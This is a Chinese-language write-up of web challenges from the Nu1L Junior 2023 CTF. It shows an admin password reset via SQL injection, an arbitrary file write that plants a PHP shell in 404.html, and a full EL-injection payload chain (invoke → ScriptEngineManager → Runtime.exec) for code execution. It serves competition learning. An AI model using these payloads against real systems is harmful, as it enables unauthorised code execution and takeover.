https://ctf.junior.nu1l.com/2023.html

只出了一题 orrs(卑微)

template 复现很简单,但是没有猜到弱密码是 root/root

ez_zudit 需要审计出一个 EL 表达式注入

can_u_bypass 执行 oracle sql 语句,需要实现 RCE

easyjpg 是一道 0day,和 HITCON2022 web2pdf 相似

orrs

有 sql 注入漏洞

然而题目要求 RCE

通过 sql 注入漏洞获取到如下信息(然而是没有用处的)

  • database: orrs_db
  • @@secure_file_priv: /var/lib/mysql-files/
  • @@plugin_dir: /usr/lib/mysql/plugin/
  • 表名: message_list,reservation_list,schedule_list,system_info,train_list,users
    • 字段
    • user: Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,Refences_priv,Index_priv,Al

发现还有登录功能,于是通过 update 修改 admin 密码

1
2
3
4
/classes/Users.php?f=save

POST:
status=1&password=1&id=1

登录后 admin 可以在后端修改一些网页的参数,尝试替换 email title name address contact welcome.html about_us.html 这些信息,更改成 php 代码

发现会将 <?php 过滤成 <--?php 怎么也绕不过,而 welcome.html 和 about_us.html 这两个 html 文件也怎么都改不了,判断是无权限

看后端代码,没有规定只能修改 welcome.html 和 about_us.html,是根据传入的 content 参数来做修改的

1
2
3
4
5
// classes/SystemSettings.php
if(isset($_POST['content']))
foreach($_POST['content'] as $k => $v){
file_put_contents("../{$k}.html",$v);
}

最后想了想,还有哪些 .html 后缀的文件可以修改的,尝试改了 404.html 发现可行,于是写入 php shell

1
2
3
Content-Disposition: form-data; name="content[404]"

111111<?php echo `cat /Yep_here_f1ag`?>

secpunk{cve_is_als0_important}


ez_zudit

核心代码在下面这一段,需要实现 EL 表达式注入,从而 RCE

1
2
3
4
5
ZhtmlExecuteContext context = new ZhtmlExecuteContext(ZhtmlManagerContext.getInstance(), null, null);
TemplateCompiler jc = new TemplateCompiler(ZhtmlManagerContext.getInstance());
jc.compileSource(script);
TemplateExecutor je = jc.getExecutor();
je.execute(context);

比赛时候尝试通过不断的跟进代码,试图找到一些风险点

看了 ELParse 等等类,代码太多太复杂,不能让我很好的理清思路

赛后发现,可以调用的函数,项目中都已经放到了同一个目录下面 qqq.framework.expression.function

里面有一个 invoke 函数,所以 RCE 这不就来了嘛。直接 script="${invoke('','getClass')}",在 invoke 函数打断点开始调试分析

invoke 不断地动态调用,最后通过 javax.script.ScriptEngineManager 来实现 RCE

1
2
new ScriptEngineManager().getEngineByExtension("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")");
script = "${invoke(invoke(invoke(invoke(invoke(invoke('','getClass'),'getClass'),'forName','javax.script.ScriptEngineManager'),'newInstance'),'getEngineByExtension','js'),'eval','java.lang.Runtime.getRuntime().exec(\"calc\")')}";

template

提示了弱密码,但是弱密码是 root/root ······

我一直在爆破 admin 账户······

登录后是 thymeleaf ssti: https://www.anquanke.com/post/id/254519